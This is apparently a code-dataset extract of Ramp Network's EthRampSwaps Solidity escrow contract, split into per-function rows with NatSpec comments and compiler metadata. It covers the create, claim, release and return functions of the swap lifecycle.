}
}
function sendAssetTo(
bytes memory assetData, address payable _to
) internal returns (bool success) {
_to.transfer(getAmount(assetData)); // always throws on failure
return true;
}
function lockAssetFrom(
bytes memory assetData, address _from
) internal returns (bool success) {
require(msg.sender == _from, "invalid ether sender");
require(msg.value == getAmount(assetData), "invalid ether amount sent");
return true;
}
/**
* Returns the EIP712 hash of the eth asset data struct:
* EIP712EthAsset {
* ethAmount: uint256;
* }
*/
function getAssetTypedHash(bytes memory data) internal view returns (bytes32) {
return keccak256(
abi.encode(
EIP712_ASSET_TYPEHASH,
getAmount(data)
)
);
}
} | /**
* An adapter for handling ether swaps.
*
* @author Ramp Network sp. z o.o.
*/ | NatSpecMultiLine | getAssetTypedHash | function getAssetTypedHash(bytes memory data) internal view returns (bytes32) {
return keccak256(
abi.encode(
EIP712_ASSET_TYPEHASH,
getAmount(data)
)
);
}
| /**
* Returns the EIP712 hash of the eth asset data struct:
* EIP712EthAsset {
* ethAmount: uint256;
* }
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
1538,
1781
]
} | 8,819 |
|
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AbstractRampSwaps | contract AbstractRampSwaps is Ownable, WithStatus, WithOracles, AssetAdapter {
/// @dev contract version, defined in semver
string public constant VERSION = "0.3.1";
/// @dev used as a special swap endTime value, to denote a yet unclaimed swap
uint32 internal constant SWAP_UNCLAIMED = 1;
uint32 internal constant MIN_ACTUAL_TIMESTAMP = 1000000000;
/// @notice how long are sender's funds locked from a claim until he can cancel the swap
uint32 internal constant SWAP_LOCK_TIME_S = 3600 * 24 * 7;
event Created(bytes32 indexed swapHash);
event BuyerSet(bytes32 indexed oldSwapHash, bytes32 indexed newSwapHash);
event Claimed(bytes32 indexed oldSwapHash, bytes32 indexed newSwapHash);
event Released(bytes32 indexed swapHash);
event SenderReleased(bytes32 indexed swapHash);
event Returned(bytes32 indexed swapHash);
event SenderReturned(bytes32 indexed swapHash);
/**
* @notice Mapping from swap details hash to its end time (as a unix timestamp).
* After the end time the swap can be cancelled, and the funds will be returned to the sender.
* Value `(SWAP_UNCLAIMED)` is used to denote that a swap exists, but has not yet been claimed
* by any receiver, and can also be cancelled until that.
*/
mapping (bytes32 => uint32) internal swaps;
/**
* @dev EIP712 type hash for the struct:
* EIP712Domain {
* name: string;
* version: string;
* chainId: uint256;
* verifyingContract: address;
* }
*/
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
bytes32 internal EIP712_DOMAIN_HASH;
constructor(uint256 _chainId) internal {
EIP712_DOMAIN_HASH = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes("RampSwaps")),
keccak256(bytes(VERSION)),
_chainId,
address(this)
)
);
}
/**
* Swap creation, called by the crypto sender. Checks swap parameters and ensures the crypto
* asset is locked on this contract.
* Additionally to the swap details, this function takes params v, r, s, which is checked to be
* an ECDSA signature of the swap hash made by the oracle -- to prevent users from creating
* swaps outside Ramp Network.
*
* Emits a `Created` event with the swap hash.
*/
function create(
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
)
external
payable
statusAtLeast(Status.ACTIVE)
isOracle(_oracle)
checkAssetType(_assetData)
returns
(bool success)
{
bytes32 swapHash = getSwapHash(
msg.sender, address(0), _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapNotExists(swapHash);
require(ecrecover(swapHash, v, r, s) == _oracle, "invalid swap oracle signature");
// Set up swap status before transfer, to avoid reentrancy attacks.
// Even if a malicious token is somehow passed to this function (despite the oracle
// signature of its details), the state of this contract is already fully updated,
// so it will behave correctly (as it would be a separate call).
swaps[swapHash] = SWAP_UNCLAIMED;
require(
lockAssetFrom(_assetData, msg.sender),
"failed to lock asset on escrow"
);
emit Created(swapHash);
return true;
}
/**
* Swap claim, called by the swap's oracle on behalf of the receiver, to confirm his interest
* in buying the crypto asset.
* Additional v, r, s parameters are checked to be the receiver's EIP712 typed data signature
* of the swap's details and a 'claim this swap' action -- which verifies the receiver's address
* and the authenthicity of his claim request. See `getClaimTypedHash` for description of the
* signed swap struct.
*
* Emits a `Claimed` event with the current swap hash and the new swap hash, updated with
* receiver's address. The current swap hash equal to the hash emitted in `create`, unless
* `setBuyer` was called in the meantime -- then the current swap hash is equal to the new
* swap hash, because the receiver's address was already set.
*/
function claim(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
) external statusAtLeast(Status.ACTIVE) onlyOracle(_oracle) {
// Verify claim signature
bytes32 claimTypedHash = getClaimTypedHash(
_sender,
_receiver,
_assetData,
_paymentDetailsHash
);
require(ecrecover(claimTypedHash, v, r, s) == _receiver, "invalid claim receiver signature");
// Verify swap hashes
bytes32 oldSwapHash = getSwapHash(
_sender, address(0), _oracle, keccak256(_assetData), _paymentDetailsHash
);
bytes32 newSwapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
bytes32 claimFromHash;
// We want this function to be universal, regardless of whether `setBuyer` was called before.
// If it was, the hash is already changed
if (swaps[oldSwapHash] == 0) {
claimFromHash = newSwapHash;
requireSwapUnclaimed(newSwapHash);
} else {
claimFromHash = oldSwapHash;
requireSwapUnclaimed(oldSwapHash);
requireSwapNotExists(newSwapHash);
swaps[oldSwapHash] = 0;
}
// any overflow security warnings can be safely ignored -- SWAP_LOCK_TIME_S is a small
// constant, so this won't overflow an uint32 until year 2106
// solium-disable-next-line security/no-block-members
swaps[newSwapHash] = uint32(block.timestamp) + SWAP_LOCK_TIME_S;
emit Claimed(claimFromHash, newSwapHash);
}
/**
* Swap release, which transfers the crypto asset to the receiver and removes the swap from
* the active swap mapping. Normally called by the swap's oracle after it confirms a matching
* wire transfer on sender's bank account. Can be also called by the sender, for example in case
* of a dispute, when the parties reach an agreement off-chain.
*
* Emits a `Released` event with the swap's hash.
*/
function release(
address _sender,
address payable _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.FINALIZE_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapClaimed(swapHash);
// Delete the swap status before transfer, to avoid reentrancy attacks.
swaps[swapHash] = 0;
require(
sendAssetTo(_assetData, _receiver),
"failed to send asset to receiver"
);
if (msg.sender == _sender) {
emit SenderReleased(swapHash);
} else {
emit Released(swapHash);
}
}
/**
* Swap return, which transfers the crypto asset back to the sender and removes the swap from
* the active swap mapping. Can be called by the sender or the swap's oracle, but only if the
* swap is not claimed, or was claimed but the escrow lock time expired.
*
* Emits a `Returned` event with the swap's hash.
*/
function returnFunds(
address payable _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.RETURN_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapUnclaimedOrExpired(swapHash);
// Delete the swap status before transfer, to avoid reentrancy attacks.
swaps[swapHash] = 0;
require(
sendAssetTo(_assetData, _sender),
"failed to send asset to sender"
);
if (msg.sender == _sender) {
emit SenderReturned(swapHash);
} else {
emit Returned(swapHash);
}
}
/**
* After the sender creates a swap, he can optionally call this function to restrict the swap
* to a particular receiver address. The swap can't then be claimed by any other receiver.
*
* Emits a `BuyerSet` event with the created swap hash and new swap hash, updated with
* receiver's address.
*/
function setBuyer(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.ACTIVE) onlySender(_sender) {
bytes32 assetHash = keccak256(_assetData);
bytes32 oldSwapHash = getSwapHash(
_sender, address(0), _oracle, assetHash, _paymentDetailsHash
);
requireSwapUnclaimed(oldSwapHash);
bytes32 newSwapHash = getSwapHash(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
);
requireSwapNotExists(newSwapHash);
swaps[oldSwapHash] = 0;
swaps[newSwapHash] = SWAP_UNCLAIMED;
emit BuyerSet(oldSwapHash, newSwapHash);
}
/**
* Given all valid swap details, returns its status. To check a swap with unset buyer,
* use `0x0` as the `_receiver` address. The return can be:
* 0: the swap details are invalid, swap doesn't exist, or was already released/returned.
* 1: the swap was created, and is not claimed yet.
* >1: the swap was claimed, and the value is a timestamp indicating end of its lock time.
*/
function getSwapStatus(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external view returns (uint32 status) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
return swaps[swapHash];
}
/**
* Calculates the swap hash used to reference the swap in this contract's storage.
*/
function getSwapHash(
address _sender,
address _receiver,
address _oracle,
bytes32 assetHash,
bytes32 _paymentDetailsHash
) internal pure returns (bytes32 hash) {
return keccak256(
abi.encodePacked(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
)
);
}
/**
* Returns the EIP712 typed hash for the struct:
* EIP712<Type>Swap {
* action: bytes32;
* sender: address;
* receiver: address;
* asset: asset data struct, see `getAssetTypedHash` in specific AssetAdapter contracts
* paymentDetailsHash: bytes32;
* }
*/
function getClaimTypedHash(
address _sender,
address _receiver,
bytes memory _assetData,
bytes32 _paymentDetailsHash
) internal view returns(bytes32 msgHash) {
bytes32 dataHash = keccak256(
abi.encode(
EIP712_SWAP_TYPEHASH,
bytes32("claim this swap"),
_sender,
_receiver,
getAssetTypedHash(_assetData),
_paymentDetailsHash
)
);
return keccak256(abi.encodePacked(bytes2(0x1901), EIP712_DOMAIN_HASH, dataHash));
}
function requireSwapNotExists(bytes32 swapHash) internal view {
require(swaps[swapHash] == 0, "swap already exists");
}
function requireSwapUnclaimed(bytes32 swapHash) internal view {
require(swaps[swapHash] == SWAP_UNCLAIMED, "swap already claimed or invalid");
}
function requireSwapClaimed(bytes32 swapHash) internal view {
require(swaps[swapHash] > MIN_ACTUAL_TIMESTAMP, "swap unclaimed or invalid");
}
function requireSwapUnclaimedOrExpired(bytes32 swapHash) internal view {
require(
// solium-disable-next-line security/no-block-members
(swaps[swapHash] > MIN_ACTUAL_TIMESTAMP && block.timestamp > swaps[swapHash]) ||
swaps[swapHash] == SWAP_UNCLAIMED,
"swap not expired or invalid"
);
}
} | /**
* The main contract managing Ramp Swaps escrows lifecycle: create, claim, release and return.
* Uses an abstract AssetAdapter to carry out the transfers and handle the particular asset data.
* With a corresponding off-chain protocol allows for atomic-swap-like transfer between
* fiat currencies and crypto assets.
*
* @dev an active swap is represented by a hash of its details, mapped to its escrow expiration
* timestamp. When the swap is created, but not yet claimed, its end time is set to SWAP_UNCLAIMED.
* The hashed swap details are:
* * address sender: the swap's creator, that sells the crypto asset;
* * address receiver: the user that buys the crypto asset, `0x0` until the swap is claimed;
* * address oracle: address of the oracle that handles this particular swap;
* * bytes assetData: description of the crypto asset, handled by an AssetAdapter;
* * bytes32 paymentDetailsHash: hash of the fiat payment details: account numbers, fiat value
* and currency, and the transfer reference (title), that can be verified off-chain.
*
* @author Ramp Network sp. z o.o.
*/ | NatSpecMultiLine | create | function create(
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
)
external
payable
statusAtLeast(Status.ACTIVE)
isOracle(_oracle)
checkAssetType(_assetData)
returns
(bool success)
{
bytes32 swapHash = getSwapHash(
msg.sender, address(0), _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapNotExists(swapHash);
require(ecrecover(swapHash, v, r, s) == _oracle, "invalid swap oracle signature");
// Set up swap status before transfer, to avoid reentrancy attacks.
// Even if a malicious token is somehow passed to this function (despite the oracle
// signature of its details), the state of this contract is already fully updated,
// so it will behave correctly (as it would be a separate call).
swaps[swapHash] = SWAP_UNCLAIMED;
require(
lockAssetFrom(_assetData, msg.sender),
"failed to lock asset on escrow"
);
emit Created(swapHash);
return true;
}
| /**
* Swap creation, called by the crypto sender. Checks swap parameters and ensures the crypto
* asset is locked on this contract.
* Additionally to the swap details, this function takes params v, r, s, which is checked to be
* an ECDSA signature of the swap hash made by the oracle -- to prevent users from creating
* swaps outside Ramp Network.
*
* Emits a `Created` event with the swap hash.
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
2537,
3750
]
} | 8,820 |
|
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AbstractRampSwaps | contract AbstractRampSwaps is Ownable, WithStatus, WithOracles, AssetAdapter {
/// @dev contract version, defined in semver
string public constant VERSION = "0.3.1";
/// @dev used as a special swap endTime value, to denote a yet unclaimed swap
uint32 internal constant SWAP_UNCLAIMED = 1;
uint32 internal constant MIN_ACTUAL_TIMESTAMP = 1000000000;
/// @notice how long are sender's funds locked from a claim until he can cancel the swap
uint32 internal constant SWAP_LOCK_TIME_S = 3600 * 24 * 7;
event Created(bytes32 indexed swapHash);
event BuyerSet(bytes32 indexed oldSwapHash, bytes32 indexed newSwapHash);
event Claimed(bytes32 indexed oldSwapHash, bytes32 indexed newSwapHash);
event Released(bytes32 indexed swapHash);
event SenderReleased(bytes32 indexed swapHash);
event Returned(bytes32 indexed swapHash);
event SenderReturned(bytes32 indexed swapHash);
/**
* @notice Mapping from swap details hash to its end time (as a unix timestamp).
* After the end time the swap can be cancelled, and the funds will be returned to the sender.
* Value `(SWAP_UNCLAIMED)` is used to denote that a swap exists, but has not yet been claimed
* by any receiver, and can also be cancelled until that.
*/
mapping (bytes32 => uint32) internal swaps;
/**
* @dev EIP712 type hash for the struct:
* EIP712Domain {
* name: string;
* version: string;
* chainId: uint256;
* verifyingContract: address;
* }
*/
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
bytes32 internal EIP712_DOMAIN_HASH;
constructor(uint256 _chainId) internal {
EIP712_DOMAIN_HASH = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes("RampSwaps")),
keccak256(bytes(VERSION)),
_chainId,
address(this)
)
);
}
/**
* Swap creation, called by the crypto sender. Checks swap parameters and ensures the crypto
* asset is locked on this contract.
* Additionally to the swap details, this function takes params v, r, s, which is checked to be
* an ECDSA signature of the swap hash made by the oracle -- to prevent users from creating
* swaps outside Ramp Network.
*
* Emits a `Created` event with the swap hash.
*/
function create(
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
)
external
payable
statusAtLeast(Status.ACTIVE)
isOracle(_oracle)
checkAssetType(_assetData)
returns
(bool success)
{
bytes32 swapHash = getSwapHash(
msg.sender, address(0), _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapNotExists(swapHash);
require(ecrecover(swapHash, v, r, s) == _oracle, "invalid swap oracle signature");
// Set up swap status before transfer, to avoid reentrancy attacks.
// Even if a malicious token is somehow passed to this function (despite the oracle
// signature of its details), the state of this contract is already fully updated,
// so it will behave correctly (as it would be a separate call).
swaps[swapHash] = SWAP_UNCLAIMED;
require(
lockAssetFrom(_assetData, msg.sender),
"failed to lock asset on escrow"
);
emit Created(swapHash);
return true;
}
/**
* Swap claim, called by the swap's oracle on behalf of the receiver, to confirm his interest
* in buying the crypto asset.
* Additional v, r, s parameters are checked to be the receiver's EIP712 typed data signature
* of the swap's details and a 'claim this swap' action -- which verifies the receiver's address
* and the authenthicity of his claim request. See `getClaimTypedHash` for description of the
* signed swap struct.
*
* Emits a `Claimed` event with the current swap hash and the new swap hash, updated with
* receiver's address. The current swap hash equal to the hash emitted in `create`, unless
* `setBuyer` was called in the meantime -- then the current swap hash is equal to the new
* swap hash, because the receiver's address was already set.
*/
function claim(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
) external statusAtLeast(Status.ACTIVE) onlyOracle(_oracle) {
// Verify claim signature
bytes32 claimTypedHash = getClaimTypedHash(
_sender,
_receiver,
_assetData,
_paymentDetailsHash
);
require(ecrecover(claimTypedHash, v, r, s) == _receiver, "invalid claim receiver signature");
// Verify swap hashes
bytes32 oldSwapHash = getSwapHash(
_sender, address(0), _oracle, keccak256(_assetData), _paymentDetailsHash
);
bytes32 newSwapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
bytes32 claimFromHash;
// We want this function to be universal, regardless of whether `setBuyer` was called before.
// If it was, the hash is already changed
if (swaps[oldSwapHash] == 0) {
claimFromHash = newSwapHash;
requireSwapUnclaimed(newSwapHash);
} else {
claimFromHash = oldSwapHash;
requireSwapUnclaimed(oldSwapHash);
requireSwapNotExists(newSwapHash);
swaps[oldSwapHash] = 0;
}
// any overflow security warnings can be safely ignored -- SWAP_LOCK_TIME_S is a small
// constant, so this won't overflow an uint32 until year 2106
// solium-disable-next-line security/no-block-members
swaps[newSwapHash] = uint32(block.timestamp) + SWAP_LOCK_TIME_S;
emit Claimed(claimFromHash, newSwapHash);
}
/**
* Swap release, which transfers the crypto asset to the receiver and removes the swap from
* the active swap mapping. Normally called by the swap's oracle after it confirms a matching
* wire transfer on sender's bank account. Can be also called by the sender, for example in case
* of a dispute, when the parties reach an agreement off-chain.
*
* Emits a `Released` event with the swap's hash.
*/
function release(
address _sender,
address payable _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.FINALIZE_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapClaimed(swapHash);
// Delete the swap status before transfer, to avoid reentrancy attacks.
swaps[swapHash] = 0;
require(
sendAssetTo(_assetData, _receiver),
"failed to send asset to receiver"
);
if (msg.sender == _sender) {
emit SenderReleased(swapHash);
} else {
emit Released(swapHash);
}
}
/**
* Swap return, which transfers the crypto asset back to the sender and removes the swap from
* the active swap mapping. Can be called by the sender or the swap's oracle, but only if the
* swap is not claimed, or was claimed but the escrow lock time expired.
*
* Emits a `Returned` event with the swap's hash.
*/
function returnFunds(
address payable _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.RETURN_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapUnclaimedOrExpired(swapHash);
// Delete the swap status before transfer, to avoid reentrancy attacks.
swaps[swapHash] = 0;
require(
sendAssetTo(_assetData, _sender),
"failed to send asset to sender"
);
if (msg.sender == _sender) {
emit SenderReturned(swapHash);
} else {
emit Returned(swapHash);
}
}
/**
* After the sender creates a swap, he can optionally call this function to restrict the swap
* to a particular receiver address. The swap can't then be claimed by any other receiver.
*
* Emits a `BuyerSet` event with the created swap hash and new swap hash, updated with
* receiver's address.
*/
function setBuyer(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.ACTIVE) onlySender(_sender) {
bytes32 assetHash = keccak256(_assetData);
bytes32 oldSwapHash = getSwapHash(
_sender, address(0), _oracle, assetHash, _paymentDetailsHash
);
requireSwapUnclaimed(oldSwapHash);
bytes32 newSwapHash = getSwapHash(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
);
requireSwapNotExists(newSwapHash);
swaps[oldSwapHash] = 0;
swaps[newSwapHash] = SWAP_UNCLAIMED;
emit BuyerSet(oldSwapHash, newSwapHash);
}
/**
* Given all valid swap details, returns its status. To check a swap with unset buyer,
* use `0x0` as the `_receiver` address. The return can be:
* 0: the swap details are invalid, swap doesn't exist, or was already released/returned.
* 1: the swap was created, and is not claimed yet.
* >1: the swap was claimed, and the value is a timestamp indicating end of its lock time.
*/
function getSwapStatus(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external view returns (uint32 status) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
return swaps[swapHash];
}
/**
* Calculates the swap hash used to reference the swap in this contract's storage.
*/
function getSwapHash(
address _sender,
address _receiver,
address _oracle,
bytes32 assetHash,
bytes32 _paymentDetailsHash
) internal pure returns (bytes32 hash) {
return keccak256(
abi.encodePacked(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
)
);
}
/**
* Returns the EIP712 typed hash for the struct:
* EIP712<Type>Swap {
* action: bytes32;
* sender: address;
* receiver: address;
* asset: asset data struct, see `getAssetTypedHash` in specific AssetAdapter contracts
* paymentDetailsHash: bytes32;
* }
*/
function getClaimTypedHash(
address _sender,
address _receiver,
bytes memory _assetData,
bytes32 _paymentDetailsHash
) internal view returns(bytes32 msgHash) {
bytes32 dataHash = keccak256(
abi.encode(
EIP712_SWAP_TYPEHASH,
bytes32("claim this swap"),
_sender,
_receiver,
getAssetTypedHash(_assetData),
_paymentDetailsHash
)
);
return keccak256(abi.encodePacked(bytes2(0x1901), EIP712_DOMAIN_HASH, dataHash));
}
function requireSwapNotExists(bytes32 swapHash) internal view {
require(swaps[swapHash] == 0, "swap already exists");
}
function requireSwapUnclaimed(bytes32 swapHash) internal view {
require(swaps[swapHash] == SWAP_UNCLAIMED, "swap already claimed or invalid");
}
function requireSwapClaimed(bytes32 swapHash) internal view {
require(swaps[swapHash] > MIN_ACTUAL_TIMESTAMP, "swap unclaimed or invalid");
}
function requireSwapUnclaimedOrExpired(bytes32 swapHash) internal view {
require(
// solium-disable-next-line security/no-block-members
(swaps[swapHash] > MIN_ACTUAL_TIMESTAMP && block.timestamp > swaps[swapHash]) ||
swaps[swapHash] == SWAP_UNCLAIMED,
"swap not expired or invalid"
);
}
} | /**
* The main contract managing Ramp Swaps escrows lifecycle: create, claim, release and return.
* Uses an abstract AssetAdapter to carry out the transfers and handle the particular asset data.
* With a corresponding off-chain protocol allows for atomic-swap-like transfer between
* fiat currencies and crypto assets.
*
* @dev an active swap is represented by a hash of its details, mapped to its escrow expiration
* timestamp. When the swap is created, but not yet claimed, its end time is set to SWAP_UNCLAIMED.
* The hashed swap details are:
* * address sender: the swap's creator, that sells the crypto asset;
* * address receiver: the user that buys the crypto asset, `0x0` until the swap is claimed;
* * address oracle: address of the oracle that handles this particular swap;
* * bytes assetData: description of the crypto asset, handled by an AssetAdapter;
* * bytes32 paymentDetailsHash: hash of the fiat payment details: account numbers, fiat value
* and currency, and the transfer reference (title), that can be verified off-chain.
*
* @author Ramp Network sp. z o.o.
*/ | NatSpecMultiLine | claim | function claim(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
) external statusAtLeast(Status.ACTIVE) onlyOracle(_oracle) {
// Verify claim signature
bytes32 claimTypedHash = getClaimTypedHash(
_sender,
_receiver,
_assetData,
_paymentDetailsHash
);
require(ecrecover(claimTypedHash, v, r, s) == _receiver, "invalid claim receiver signature");
// Verify swap hashes
bytes32 oldSwapHash = getSwapHash(
_sender, address(0), _oracle, keccak256(_assetData), _paymentDetailsHash
);
bytes32 newSwapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
bytes32 claimFromHash;
// We want this function to be universal, regardless of whether `setBuyer` was called before.
// If it was, the hash is already changed
if (swaps[oldSwapHash] == 0) {
claimFromHash = newSwapHash;
requireSwapUnclaimed(newSwapHash);
} else {
claimFromHash = oldSwapHash;
requireSwapUnclaimed(oldSwapHash);
requireSwapNotExists(newSwapHash);
swaps[oldSwapHash] = 0;
}
// any overflow security warnings can be safely ignored -- SWAP_LOCK_TIME_S is a small
// constant, so this won't overflow an uint32 until year 2106
// solium-disable-next-line security/no-block-members
swaps[newSwapHash] = uint32(block.timestamp) + SWAP_LOCK_TIME_S;
emit Claimed(claimFromHash, newSwapHash);
}
| /**
* Swap claim, called by the swap's oracle on behalf of the receiver, to confirm his interest
* in buying the crypto asset.
* Additional v, r, s parameters are checked to be the receiver's EIP712 typed data signature
* of the swap's details and a 'claim this swap' action -- which verifies the receiver's address
* and the authenthicity of his claim request. See `getClaimTypedHash` for description of the
* signed swap struct.
*
* Emits a `Claimed` event with the current swap hash and the new swap hash, updated with
* receiver's address. The current swap hash equal to the hash emitted in `create`, unless
* `setBuyer` was called in the meantime -- then the current swap hash is equal to the new
* swap hash, because the receiver's address was already set.
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
4596,
6397
]
} | 8,821 |
|
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AbstractRampSwaps | contract AbstractRampSwaps is Ownable, WithStatus, WithOracles, AssetAdapter {
/// @dev contract version, defined in semver
string public constant VERSION = "0.3.1";
/// @dev used as a special swap endTime value, to denote a yet unclaimed swap
uint32 internal constant SWAP_UNCLAIMED = 1;
uint32 internal constant MIN_ACTUAL_TIMESTAMP = 1000000000;
/// @notice how long are sender's funds locked from a claim until he can cancel the swap
uint32 internal constant SWAP_LOCK_TIME_S = 3600 * 24 * 7;
event Created(bytes32 indexed swapHash);
event BuyerSet(bytes32 indexed oldSwapHash, bytes32 indexed newSwapHash);
event Claimed(bytes32 indexed oldSwapHash, bytes32 indexed newSwapHash);
event Released(bytes32 indexed swapHash);
event SenderReleased(bytes32 indexed swapHash);
event Returned(bytes32 indexed swapHash);
event SenderReturned(bytes32 indexed swapHash);
/**
* @notice Mapping from swap details hash to its end time (as a unix timestamp).
* After the end time the swap can be cancelled, and the funds will be returned to the sender.
* Value `(SWAP_UNCLAIMED)` is used to denote that a swap exists, but has not yet been claimed
* by any receiver, and can also be cancelled until that.
*/
mapping (bytes32 => uint32) internal swaps;
/**
* @dev EIP712 type hash for the struct:
* EIP712Domain {
* name: string;
* version: string;
* chainId: uint256;
* verifyingContract: address;
* }
*/
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
bytes32 internal EIP712_DOMAIN_HASH;
constructor(uint256 _chainId) internal {
EIP712_DOMAIN_HASH = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes("RampSwaps")),
keccak256(bytes(VERSION)),
_chainId,
address(this)
)
);
}
/**
* Swap creation, called by the crypto sender. Checks swap parameters and ensures the crypto
* asset is locked on this contract.
* Additionally to the swap details, this function takes params v, r, s, which is checked to be
* an ECDSA signature of the swap hash made by the oracle -- to prevent users from creating
* swaps outside Ramp Network.
*
* Emits a `Created` event with the swap hash.
*/
function create(
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
)
external
payable
statusAtLeast(Status.ACTIVE)
isOracle(_oracle)
checkAssetType(_assetData)
returns
(bool success)
{
bytes32 swapHash = getSwapHash(
msg.sender, address(0), _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapNotExists(swapHash);
require(ecrecover(swapHash, v, r, s) == _oracle, "invalid swap oracle signature");
// Set up swap status before transfer, to avoid reentrancy attacks.
// Even if a malicious token is somehow passed to this function (despite the oracle
// signature of its details), the state of this contract is already fully updated,
// so it will behave correctly (as it would be a separate call).
swaps[swapHash] = SWAP_UNCLAIMED;
require(
lockAssetFrom(_assetData, msg.sender),
"failed to lock asset on escrow"
);
emit Created(swapHash);
return true;
}
/**
* Swap claim, called by the swap's oracle on behalf of the receiver, to confirm his interest
* in buying the crypto asset.
* Additional v, r, s parameters are checked to be the receiver's EIP712 typed data signature
* of the swap's details and a 'claim this swap' action -- which verifies the receiver's address
* and the authenthicity of his claim request. See `getClaimTypedHash` for description of the
* signed swap struct.
*
* Emits a `Claimed` event with the current swap hash and the new swap hash, updated with
* receiver's address. The current swap hash equal to the hash emitted in `create`, unless
* `setBuyer` was called in the meantime -- then the current swap hash is equal to the new
* swap hash, because the receiver's address was already set.
*/
function claim(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
) external statusAtLeast(Status.ACTIVE) onlyOracle(_oracle) {
// Verify claim signature
bytes32 claimTypedHash = getClaimTypedHash(
_sender,
_receiver,
_assetData,
_paymentDetailsHash
);
require(ecrecover(claimTypedHash, v, r, s) == _receiver, "invalid claim receiver signature");
// Verify swap hashes
bytes32 oldSwapHash = getSwapHash(
_sender, address(0), _oracle, keccak256(_assetData), _paymentDetailsHash
);
bytes32 newSwapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
bytes32 claimFromHash;
// We want this function to be universal, regardless of whether `setBuyer` was called before.
// If it was, the hash is already changed
if (swaps[oldSwapHash] == 0) {
claimFromHash = newSwapHash;
requireSwapUnclaimed(newSwapHash);
} else {
claimFromHash = oldSwapHash;
requireSwapUnclaimed(oldSwapHash);
requireSwapNotExists(newSwapHash);
swaps[oldSwapHash] = 0;
}
